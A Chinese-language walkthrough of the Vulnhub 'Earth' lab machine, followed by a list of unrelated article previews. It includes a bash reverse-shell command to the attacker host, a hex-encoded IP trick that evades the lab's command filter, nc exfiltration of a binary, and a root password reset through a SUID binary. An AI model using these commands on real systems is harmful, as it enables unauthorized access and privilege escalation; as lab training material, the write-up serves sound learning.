Vulnhub靶场(Earth)
项目地址
https://download.vulnhub.com/theplanets/Earth.ova.torrent
搭建靶机
官网下载.ova文件双击vm打开导入
获取靶机IP kail终端输入
arp-scan -l
获取靶机 IP 192.168.131.184
信息收集
端口扫描
sudo nmap -sC -sV -p- 192.168.131.184
可以看到开启22端口,80端口
并且80端口配置了两个dns,需要修改hosts文件指定IP
访问ip
发现400报错 修改hosts
sudo chmod 777 /etc/hosts
vi /etc/hosts
192.168.131.184 earth.local terratest.earth.local
浏览器访问http://earth.local,页面显示正常
输入框随意添加字符,点击Send Message,下方会增加一串数字
访问另外一个域名https://terratest.earth.local
目录扫描
dirb https://terratest.earth.local/
漏洞利用
尝试访问robots.txt
猜解后缀名为txt
浏览器访问https://terratest.earth.local/testingnotes.txt
文中提到testdata.txt作为解密字典,先下载它 terra是用户名
wget https://terratest.earth.local/testdata.txt --no-check-certificate
进入该文件
使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码
步骤:先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码/
According to radiometric datingestimation and other evidence, Earth formed over 5.5 billion years ago. within the first billion years of Earth's history,Life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
第三段解出了需要的东西,查看发现是重复的内容,可能是登陆密码
尝试登录
使用账号:terra 密码:earthclimatechangebad4humans登陆成功
发现是命令行 直接寻找flag文件:
find / -name "*flag*"
发现了一个用户flag:/var/earth_web/user_flag.txt
cat /var/earth_web/user_flag.txt
得到flag
反弹shell
kali中开启监听
nc -lvvp 1234
命令行输入
bash -i >& /dev/tcp/192.168.131.128/8888 0>&1
可以看到被拦截了
尝试将ip进行16进制转换绕过
bash -i >& /dev/tcp/0xc0.0xa8.0x83.0x80/1234 0>&1
反弹成功
使用find命令查找一下flag
find / -name "*flag.txt"
可以得到user_flag
现在只有网站权限,尝试提权到root先看下suid有些什么信息,看到这个命令
find / -perm -u=s -type f 2>/dev/null
strings /usr/bin/reset_root
看到一条信息:大概意思是修改root密码为Earth
尝试执行reset_root
reset_root
提示触发器不存在
由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析
kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root/
nc -lvvp 2222 > reset_root
靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口
nc 192.168.131.128 2222 < /usr/bin/reset_root
可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
这里可以登录拿到flag
相关文章:
Vulnhub靶场(Earth)
项目地址 https://download.vulnhub.com/theplanets/Earth.ova.torrent 搭建靶机 官网下载.ova文件双击vm打开导入 获取靶机IP kail终端输入 arp-scan -l 获取靶机 IP 192.168.131.184 信息收集 端口扫描 sudo nmap -sC -sV -p- 192.168.131.184 可以看到开启22端口&…...
rsync命令常用同步方案
rsync是一个高效的文件同步工具,广泛应用于本地和远程备份、镜像及同步任务。它通过增量同步、压缩传输以及远程协议(如SSH)等技术,显著提高了文件传输的效率。本文将介绍rsync命令的常用参数、工作原理、常见同步方案,…...
【Ubuntu】 Ubuntu22.04搭建NFS服务
安装NFS服务端 sudo apt install nfs-kernel-server 安装NFS客户端 sudo apt install nfs-common 配置/etc/exports sudo vim /etc/exports 第一个字段:/home/lm/code/nfswork共享的目录 第二个字段:指定哪些用户可以访问 * 表示所有用户都可以访…...
Python自学 - 递归函数
1 Python自学 - 递归函数 递归函数是一种在函数体内调用自己的函数,就像“左脚踩着右脚,再右脚踩着左脚… 嗯,你就可以上天了!”。递归函数虽然不能上天,但在处理某些场景时非常好用, 一种典型的场景就是遍…...
后端开发入门超完整速成路线(算法篇)
引言 后端开发是软件开发中不可或缺的一部分,它涉及到服务器、数据库、API等核心组件的构建和维护。对于初学者来说,掌握算法和数据结构是进入后端开发领域的基础。本文将为你提供一个超完整的算法学习路线,帮助你快速入门,并在文…...
51单片机——共阴数码管实验
数码管中有8位数字,从右往左分别为LED1、LED2、...、LED8,如下图所示 如何实现点亮单个数字,用下图中的ABC来实现 P2.2管脚控制A,P2.3管脚控制B,P2.4管脚控制C //定义数码管位选管脚 sbit LSAP2^2; sbit LSBP2^3; s…...
使用Clion在ubuntu上进行交叉编译,并在Linux上远程编译五子棋
目录 1.工具以及概念介绍 (1)Clion软件简介 (2)交叉编译 (3)远程编译 2.操作原理 3.详细操作步骤 (1)配置Clion与虚拟机ubuntu的ssh连接 CLion远程开发Ubuntu,并显…...
高并发写利器-组提交,我的Spring组件实战
高并发写优化理论 对于高并发的读QPS优化手段较多,最经济简单的方式是上缓存。但是对于高并发写TPS该如何提升?业界常用的有分库分表、异步写入等技术手段。但是分库分表对于业务的改造十分巨大,涉及迁移数据的麻烦工作,不会作为…...
Stable Diffusion的简单介绍
Stable Diffusion 是一款免费、开源的 AI 图像生成器,由 Stability AI 公司于 2022 年 8 月推出1。以下是关于它的详细介绍: 目录 工作原理 特点 应用场景 主要版本 工作原理 Stable Diffusion 属于潜在扩散模型,主要由三部分组成&…...
R语言的数据结构
R语言的数据结构 R语言是专门为统计计算和数据分析而设计的一种编程语言,因其强大的数据处理能力而受到广泛欢迎。在R中,数据结构是理解和有效使用R语言的基础。本文将详细介绍R语言中的主要数据结构,包括向量、矩阵、数据框、列表、因子等&…...
go项目zero框架中用gentool解决指定MYSQL表生成结构体被覆盖的解决方案
在使用 GoZero 框架进行项目开发时,gentool 是一个非常方便的工具,它可以根据数据库表结构自动生成 Go 语言结构体和其他相关文件。然而,在使用 gentool 生成结构体时,可能会遇到一个问题:如果多次运行 gentool&#x…...
限时特惠,香港服务器,低至53元/年
家人们谁懂啊!香港服务器这价格简直逆天了,居然比内地的还便宜!就拿阿里云来说,人家最低配置的服务器,价格都很难做到这么亲民。 最低配的就不说了,2 核 4G 的配置,应对日常业务稳稳当当&#x…...
【GUI-pyqt5】QObject类
1. QObject模块详解 1.1 描述 所有Qt对象的父类 1.2 功能和作用 1.2.1 对象名称和属性 1.2.1.1 API API功能备注 setObjectName("唯一名称") 给一个Qt对象设置一个名称 一般这个名称是唯一的,当做对象ID来使用 objectName() 获取一个对象名称 - set…...
第2章:SQL基础
第2章:SQL基础 2.1 SQL语言介绍 2.1.1 SQL发展历史 SQL的起源SQL标准的演变不同数据库的SQL实现 2.1.2 SQL语言分类 数据定义语言 (DDL):用于定义和修改数据库的结构,包括数据库、表、索引、视图等对象的创建、修改和删除。数据操作语言 (DML):用于…...
Azkaban其一,介绍、体系架构和安装
目录 一、简介 二、Azkaban的体系结构 三、Azkaban的安装步骤 1、上传,解压 2、生成mysql的元数据 3、配置web-server 4、配置exec-server 5、修改所有的.sh 的执行权限 一、简介 遇到了什么问题才会使用Azkaban ?比如: 想启动hadoop集群先启动…...
Seata 使用教程:全面解锁分布式事务管理
Seata 使用教程:全面解锁分布式事务管理 在当今分布式系统蓬勃发展的时代,微服务架构被广泛应用,随之而来的是分布式事务管理的难题。Seata 作为一款开源的分布式事务解决方案,为保障分布式系统的数据一致性提供了强有力的支持。本文将详细讲解 Seata 的使用方法,深入剖析…...
《learn_the_architecture_-_aarch64_exception_model》学习笔记
1.当发生异常时,异常级别可以增加或保持不变,永远无法通过异常来转移到较低的权限级别。从异常返回时,异常级别可能会降低或保持不变,永远无法通过从异常返回来移动到更高的权限级别。EL0级不进行异常处理,异常必须在比…...
密码学原理技术-第十一章-Hash Functions
文章目录 总结Why we need hash functionsDigital Signature with a Hash FunctionBasic Protocol for Digital Signatures with a Hash FunctionPrincipal input–output behavior of hash functions Security propertiesThe three security requirements of hash functionsWh…...
Golang 入门基础知识
快速入门 go 语言笔记,参考了各种大佬的 blog 。 一、下载安装 国内站点 :https://golang.google.cn IDE : Goland (2020.12月以后破解有些困难 见 zhile.io, 无法试用的话可以搜一个注册码,失效的也可以&…...
SQL把字符串按逗号分割成记录
在 SQL 中,可以通过以下方法将字符串按逗号分割,并将每个分割的值作为单独的记录插入到结果集中。以下是针对不同数据库系统的实现方法: 1. 使用 STRING_SPLIT(SQL Server 2016) STRING_SPLIT 是 SQL Server 提供的内置…...
HTML——26.像素单位
<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>像素</title></head><body><!--像素:1.指设备屏幕上的一个点,单位px,如led屏上的小灯朱2.当屏幕分辨率固定时&…...
TIM的输出比较(PWM)
OC(Output Compare)输出比较 输出比较可以通过比较CNT与CCR寄存器值的关系,来对输出电平进行置1、置0或翻转的操作,用于输出一定频率和占空比的PWM波形 每个高级定时器和通用定时器都拥有4个输出比较通道 初始化 1.开启RCC RCC_…...
李宏毅机器学习笔记-Transformer
目录 1. Seq2seq 2. encoder Transformer 中的 Block 结构 3. Decoder 4.Encoder和Decoder间的信息传递 5.Training 6.Tips 1. Seq2seq Transformer 是一个seq2seq的model。Seq2seq指的是input是一个序列,输出也是一个序列,输出的长度是由机器自己…...
【机器学习:三、常见的代价函数】
代价函数的选择与任务类型(回归、分类等)以及模型的具体目标密切相关。 回归任务中的代价函数 均方误差(Mean Squared Error, MSE) 公式: J ( θ ) 1 m ∑ i 1 m ( y i − y ^ i ) 2 J(\theta)\frac{1}{m}\sum_{i1}^m(y_i-\…...
React 数据是怎样传递的
写在前面 在 React 应用程序中,数据传递是非常重要的。它允许我们在组件之间共享信息和状态,从而构建出复杂的用户界面。本文将深入探讨 React 中的数据传递机制,包括 props、state 和 context API。我们还将通过实际例子来演示如何在项目中…...
Python入门教程 —— 高阶函数和装饰器
1.递归函数 什么是递归函数 如果一个函数在内部不调用其它的函数,而是自己本身的话,这个函数就是递归函数。 递归函数的作用 举个例子,我们来计算阶乘 n! = 1 * 2 * 3 * ... * n 解决办法1:使用循环来完成 def cal(num):result,i = 1,1while i <= num:result *= ii…...
RSA密码的安全性分析(简化版本)
RSA的安全性是基于分解大整数的困难性假定,之所以认为是假定是因为至今还未能证明大整数就是NP问题,也许有尚未发现的多项式时间分解算法。随着人类计算能力的不断提高,原来被认为是不可能分解的大数已经被成功分解。对于大整数的威胁除了人类…...
解决Vue中设置el-select的高度不生效问题
el-select是Element UI框架中的一个选择器组件,它允许用户从多个选项中选择一个或多个项目。但这里确存在一个小坑,我们可以看到直接修改el-select的高度是无法生效的 <template><div id"login"><el-select v-model"role…...
解决openpyxl操纵带公式的excel或者csv之后,pandas无法读取数值的问题
1 功能特点 openpyxl: 这是一个专门用于操作Excel文件(.xlsx/.xlsm)的库。它提供了丰富的功能来读取、写入和修改Excel文件的各个元素,如单元格、行、列、工作表等。例如,可以通过openpyxl轻松地创建一个新的Excel工作…...
高等数学学习笔记 ☞ 无穷小比较与等价无穷小替换
1. 无穷小比较 1. 本质:就是函数的极限趋于0时的速度,谁快谁慢的问题。 2. 定义:若是在同一自变量的变化过程中的无穷小,且,则: ①:若,则称是比的高阶无穷小,记作&…...
计算队列中的‘捣乱分子’对数:一种量化无序程度的方法
计算队列中的‘捣乱分子’对数:一种量化无序程度的方法 前言解题思路关键点实现代码时间复杂度分析前言 在日常生活中,我们经常会遇到需要排队的场景,比如买票、候车、就餐等。在理想的排队情况下,人们会按照某种顺序(如先到先服务)整齐地排成一列。然而,总有一些人不遵…...
如何在不丢失数据的情况下从 IOS 14 回滚到 IOS 13
您是否后悔在 iPhone、iPad 或 iPod touch 上安装 iOS 14?如果你这样做,你并不孤单。许多升级到 iOS 14 beta 的 iPhone、iPad 和 iPod touch 用户不再适应它。 如果您在正式发布日期之前升级到 iOS 14 以享受其功能,但您不再适应 iOS 14&am…...
提升汽车金融租赁系统的效率与风险管理策略探讨
内容概要 在汽车金融租赁系统这个复杂的生态中,提升整体效率是每个企业都渴望达成的目标。首先,优化业务流程是实现高效运行的基础。通过分析目前的流程,找出冗余环节并进行简化,能够帮助企业缩短审批时间,提高客户满…...
Git 入门(一)
git 工作流如下: 命令如下: clone(克隆): 从远程仓库中克隆代码到本地仓库checkout (检出):从本地仓库中检出一个仓库分支然后进行修订add(添加): 在提交前先将代码提交到暂存区com…...
pyinstaller冻结打包多进程程序的bug:无限创建进程直至系统崩溃
前面写过两篇相关的文章: PyQt应用程序打包Python自动按键 这两篇文章都没有提到下面的这个重要问题: 采用Pyinstaller冻结打包多进程程序时,必须非常小心。这个技术线在Windows上会有一个非常严重的Bug。直接运行打包后的程序会造成无限创…...
OSI模型的网络层中产生拥塞的主要原因?
( 1 )缓冲区容量有限;( 1.5 分) ( 2 )传输线路的带宽有限;( 1.5 分) ( 3 )网络结点的处理能力有限;( 1 分…...
服务器开发 的设计模式(Design Patterns)核心知识
服务器开发的设计模式(Design Patterns)核心知识 在现代软件开发中,设计模式是一组为解决特定问题而重用的解决方案。它们是经过时间考验的最佳实践,为开发人员提供了一种有效的解决方案来应对常见的软件设计问题。特别是在服务器…...
智能工厂的设计软件 应用场景的一个例子: 为AI聊天工具添加一个知识系统 之20 再次重建 之5 项目文件三大部 整“拼”项目文档总述
本文要点 ]本项目的项目文件中的三个Part终于“拼”出来的(个别用词可能还需斟酌,但样子、格式和意思 差不多): Part1【凡间-AI众生】 人性化&去中心化-个体人生观 语言有关(语言交流-经验常识实践 信条 行为主义 随机数-本质偶然的 想…...
Lucas-Kanade光流法详解
简介:个人学习分享,如有错误,欢迎批评指正。 光流(Optical Flow)描述的是图像序列中各像素点随时间的运动情况,是计算机视觉中的基本问题之一。光流问题涉及尝试找出一幅图像中的许多点在第二幅图像中移动的…...
基于YOLO5的机械臂视觉抓取实现
前言: 机器人视觉系统标定是保证机器人精确运动和控制的关键环节之一。通过对机器人的运动学进行分析,可以精确计算出机器人末端执行器的位姿信息,从而实现对目标的精准定位和控制。相机标定是计算机视觉和图像处理中的重要步骤,标…...
Git 仓库与文件管理笔记
Git 的三种仓库概念 本地仓库 (Local Repository) 位于本地 .git 文件夹中通过 git init 或 git clone 创建存储完整的项目历史和分支信息 远程仓库 (Remote Repository) 位于 GitHub、GitLab 等平台服务器使用 git remote -v 查看所有远程仓库默认远程仓库名通常为 origin 工…...
Qt 5.14.2 学习记录 —— 오 信号与槽机制(2)
文章目录 1、信号与槽的参数2、为什么要有信号槽机制?3、断开并重新连接4、槽函数lambda写法 1、信号与槽的参数 信号和槽可以带参数,当信号带有参数时,槽的参数必须和信号的一致,此时发送信号就可以给信号函数传递实参ÿ…...
043_小驰私房菜_MTK Camera,Hal层将camera型号写到property属性中
【问题背景】 app层需要知道当前设备的摄像头型号,然后做一些差异化处理。底下如何上报这个摄像头型号? 【分析】 在kernel和hal层,都是有地方能获取到当前摄像头的型号,就看在哪里添加方便。获取到摄像头硬件型号后,将其写入到property属性, 然后app就可以通过读取该…...
Java线程
目录 一、线程入门 二、线程同步 三、死锁 四、线程的方法 五、线程的流程图 六、线程池 一、线程入门 1.进程:每一个软件都是一个进程。 2.线程:进程是由多个线程组成的。 3.进程和线程的关系:一个进程是对应一个或者是多个线程的。…...
JMeter 的 If Controller:开启性能测试的智能大门
嘿,宝子们!今天咱们就来聊聊 JMeter 里超级厉害的 If Controller,它就像是一把神奇的钥匙,能帮我们打开灵活测试的大门,让你的测试计划变得更加智能和高效。 一、If Controller 初印象 想象一下,你正在指…...
node内置模块之---os 模块
os 模块的作用 os 模块是 Node.js 的一个核心模块,提供了与操作系统交互的一些功能。它使得 Node.js 应用可以访问操作系统的底层信息,并执行一些系统级的操作,比如文件系统操作、环境变量、进程管理等。 os 模块的相关api 文件系统路径操…...
PgSQL如何用cmd命令行备份和还原数据库
一、备份 备份为压缩的二进制格式(通常更快且占用空间更少) pg_dump -U username -Fc -h hostname -p port -d dbname -F p -f backup.sql-U username:指定连接数据库的用户名(默认是 postgres)。-Fc:备…...
neo4j学习笔记
图数据库 图数据库是基于图论实现的一种NoSQL数据库,其数据存储结构和数据查询方式都是图论为基础的,图数据库主要用于存储更多的连接数据。 图论(GraphTheory)是数学的一个分支。图论以图为研究对象,图论的图是由若干…...
Halcon 显示异常
//For Halcon System HOperatorSet.SetSystem("clip_region", "false"); set_system( clip_region, false) *旋转 hom_mat2d_identity (HomMat2DIdentity1) hom_mat2d_rotate (HomMat2DIdentity1, rad( 90), 0, 0, HomMat2DRotate) affine_trans_region …...
2021年3月多省联考《申论》B卷真题解析
2021年福建公务员考试申论试题(乡镇卷) 材料一 在传统乡镇布局中,部分乡镇面积小、人口少,但管理机构、干部职数、机构编制、财政投入均不少,行政运行成本较高。合理调整乡镇行政区划,有助于统筹设置乡镇服…...